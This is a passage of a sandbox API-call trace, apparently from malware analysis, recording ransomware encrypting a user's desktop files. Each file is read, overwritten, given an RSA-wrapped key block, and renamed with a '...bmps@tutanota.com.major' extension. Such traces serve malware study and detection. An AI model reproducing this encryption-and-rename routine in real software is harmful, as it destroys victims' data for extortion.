pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.132] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.132] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.132] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="U3cNVtnny/KhB7Q6aeXcMvZZdOVFC8a6QKYfPSlk5iElhQiPPq0RqTkBycidWj4/\nYhFZWNQPADSSxyzmbCw/c+IIv/HDM17eS3ZD+wYIJUorFmhPpLmd9RNPBeeacGjk\nkT82ZQlB+4/lnX1jFZD06jT47cItHrxE1dThqyOq5nWDmDePf12cdknNB7VYKNLr\nFQJnETaR7PVUpQy2lLoU4wVmruz0h5bjgTlpv69DhhHlWABYCF+EvJMJOJTzOOa9\nsXIHZ4Op8FxqyV/kjyKt5iApA7J4BfyrY4NSB0AUe8Z7C472E+06CbX+PrErE2nm\nRN8WEi5v9LiOJngg5PBuWA==\n", pcchString=0x2e3f9a8) returned 1 [0145.132] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.132] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.132] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.132] CloseHandle (hObject=0x5e4) returned 1 [0145.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.132] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\D9SKfMGtJgqXnu.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\d9skfmgtjgqxnu.bmp"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\D9SKfMGtJgqXnu.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\d9skfmgtjgqxnu.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0145.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0145.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0145.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.134] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.134] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\coRZ.ots", dwFileAttributes=0x80) returned 1 [0145.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0145.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0145.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0145.134] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\coRZ.ots" (normalized: "c:\\users\\fd1hvy\\desktop\\corz.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.135] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=90593) returned 1 [0145.135] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x161e1) returned 0x631898 [0145.135] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x161e1) returned 0x647a88 [0145.135] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x161e1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x161e1, lpOverlapped=0x0) returned 1 [0145.137] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-90593, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.137] WriteFile (in: hFile=0x5e4, lpBuffer=0x647a88*, nNumberOfBytesToWrite=0x161e1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x647a88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x161e1, lpOverlapped=0x0) returned 1 [0145.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x647a88 | out: hHeap=0x570000) returned 1 [0145.138] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x161e1 [0145.139] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.139] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.139] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.139] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.139] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.139] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="8JxdybE074D+CyMdN+mJ2rGffsPlTtgwS8xy1AJkkI3ZNINk1QJt8RBYF+Et4h0F\n1v/CCCMT1LkZ/rg6oc0Wla63LBZC1U+FcOCeFzYV3U+MBgNtIOL1Tnwz7urXFyPN\nxZj8keP1n0jzhK8wIPjfO2jPwCAPDvefuguflr2xl4sCHcPcDZbZoE8aZ6SK+1g+\n/qkBlqZZrRHBWEyzqOdA9WiFOZ9B2GeryNK88x6RSvdFheb12B0jukXkYBpDlhFQ\nJWj0zOw3gp8MZX9SUHq9tpGXffPxiP0jGaRl1t4FkRb5U1gLg/IDOz7juVxOupzP\nDkf1XUa1aK/HzmPgbv/YuQ==\n", pcchString=0x2e3f9a8) returned 1 [0145.139] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.139] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.139] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.140] CloseHandle (hObject=0x5e4) returned 1 [0145.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.140] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\coRZ.ots" (normalized: "c:\\users\\fd1hvy\\desktop\\corz.ots"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\coRZ.ots.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\corz.ots.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0145.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0145.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0145.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.142] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.142] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\bxvFJc_lfxNx.bmp", dwFileAttributes=0x80) returned 1 [0145.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bea50 [0145.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0145.142] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\bxvFJc_lfxNx.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\bxvfjc_lfxnx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.143] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=77936) returned 1 [0145.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13070) returned 0x631898 [0145.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13070) returned 0x644910 [0145.143] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x13070, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x13070, lpOverlapped=0x0) returned 1 [0145.144] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-77936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.144] WriteFile (in: hFile=0x5e4, lpBuffer=0x644910*, nNumberOfBytesToWrite=0x13070, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x644910*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13070, lpOverlapped=0x0) returned 1 [0145.145] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.145] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x644910 | out: hHeap=0x570000) returned 1 [0145.146] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13070 [0145.146] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.146] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.146] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.146] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.147] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.147] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="J5Rc/n8CS4brDNSQk/hV/NdZzyJBVnF5ShiQ97BSXMdm+KKM+jmlKmb4jIqP6v2m\nDBsWJqCN940eldqGEb+KZzP5w8620uzV+IznNBczHXdUDlARTziwExdZiVT7esW5\nWDdFJgvIEeCi+6ySyUmVrO/oFo8q1zqBF8JI/4Y6uCDlrO0cPxGNobL0BdccHbrH\nZvkXAJ62D5SvwQHinYNqrtXiN7s7P1o2TTHsoOOaxbakRHCy6TkXvauPEUXGo05q\nD66p6aHHhtNhqwPM0fO1q+NxdqB5hhKokRhfS6wml2LgrMg3bj5+I+ckxJnPl6v8\nXKpWQmV6fRVfg2W9HOQaJQ==\n", pcchString=0x2e3f9a8) returned 1 [0145.147] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.147] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.147] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.147] CloseHandle (hObject=0x5e4) returned 1 [0145.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.147] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\bxvFJc_lfxNx.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\bxvfjc_lfxnx.bmp"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\bxvFJc_lfxNx.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\bxvfjc_lfxnx.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.149] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.149] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.149] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0145.149] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0145.149] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0145.149] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8f0 [0145.149] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.149] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\bVDiwUgw.swf", dwFileAttributes=0x80) returned 1 [0145.149] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0145.149] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.149] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0145.149] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\bVDiwUgw.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\bvdiwugw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.150] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=35248) returned 1 [0145.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x89b0) returned 0x631898 [0145.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x89b0) returned 0x63a250 [0145.150] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x89b0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x89b0, lpOverlapped=0x0) returned 1 [0145.151] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-35248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.151] WriteFile (in: hFile=0x5e4, lpBuffer=0x63a250*, nNumberOfBytesToWrite=0x89b0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63a250*, lpNumberOfBytesWritten=0x2e3f9b4*=0x89b0, lpOverlapped=0x0) returned 1 [0145.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63a250 | out: hHeap=0x570000) returned 1 [0145.152] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x89b0 [0145.152] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.152] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.152] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.152] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.153] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.153] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ukCPPxfnmfvYOvMuuWRo1BS2YAqSLVnZIm67jmn2YD3dR6RTn1ngO+1hfPq+oVpd\nxUDW3ajDBpstSVxALr4CaNBALhYGHqhR+AvUPhMijYet4ZMnDf9SDnrTYCbF4yOo\nvhaKvohT0H3FaJaB+ZpHhgYddvkZK/YVuba7/3SiAzwVJSXQhXrrUXgqawqVoMre\nGinI5h18lfOaRMN9i/qpdDFFbjL97mAsfS5FfWB8IooFKsbeHrZ8ZcFxUkKY0ayC\nt58/z8K/HQ6+RhVVs4C7nezBEQ/InqQY4t6kQcc6VdgsoCDMnYKvQC9ZEnI75iBl\nIWJ9eee4ugu/iqUhq8eobw==\n", pcchString=0x2e3f9a8) returned 1 [0145.153] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.153] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.153] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.153] CloseHandle (hObject=0x5e4) returned 1 [0145.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.153] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\bVDiwUgw.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\bvdiwugw.swf"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\bVDiwUgw.swf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\bvdiwugw.swf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8f0 | out: hHeap=0x570000) returned 1 [0145.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0145.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0145.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0145.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0145.233] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.233] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\8 -Hgks5NIM-rbJKH6K.pps", dwFileAttributes=0x80) returned 1 [0145.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0145.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0145.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0145.233] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\8 -Hgks5NIM-rbJKH6K.pps" (normalized: "c:\\users\\fd1hvy\\desktop\\8 -hgks5nim-rbjkh6k.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.234] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=86912) returned 1 [0145.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15380) returned 0x631898 [0145.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15380) returned 0x646c20 [0145.234] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x15380, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x15380, lpOverlapped=0x0) returned 1 [0145.235] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-86912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.235] WriteFile (in: hFile=0x5e4, lpBuffer=0x646c20*, nNumberOfBytesToWrite=0x15380, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x646c20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15380, lpOverlapped=0x0) returned 1 [0145.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x646c20 | out: hHeap=0x570000) returned 1 [0145.236] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15380 [0145.236] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.236] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.236] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.236] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.236] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.236] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="f+ND7GI7y1iuGprvZFDHYsE6GtZCWHNYlIq5ykRKFi8xYc8jwKxPZDBqA8Yy45Uh\n1FMYTZyXrcI64IC33mQXBawBZRxNaOyPfYBhSCxMRiQVNuYC60XD0oXEz1l4h/W0\nA2CkI0myHeb57a5iyyrjU8qidDPFykraH7kbWCzKiL4HxRpTYLVlC2rkZv3PTUYz\nrXdYYWYLHA1XAE8PQMmmMxERUeo4ivk+it36FL0qPvJStb5ff5KFtGoA+VgN6DP1\n1/lTRcBjKkmEa6Fieicfmkw5uWf2jI1AdsGCtYkX3Y1AN9vkLkCb1Zna6jW+G+0j\nNBOSNq64Voc7/TR6vGe9Pw==\n", pcchString=0x2e3f9a8) returned 1 [0145.236] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.236] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.236] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.236] 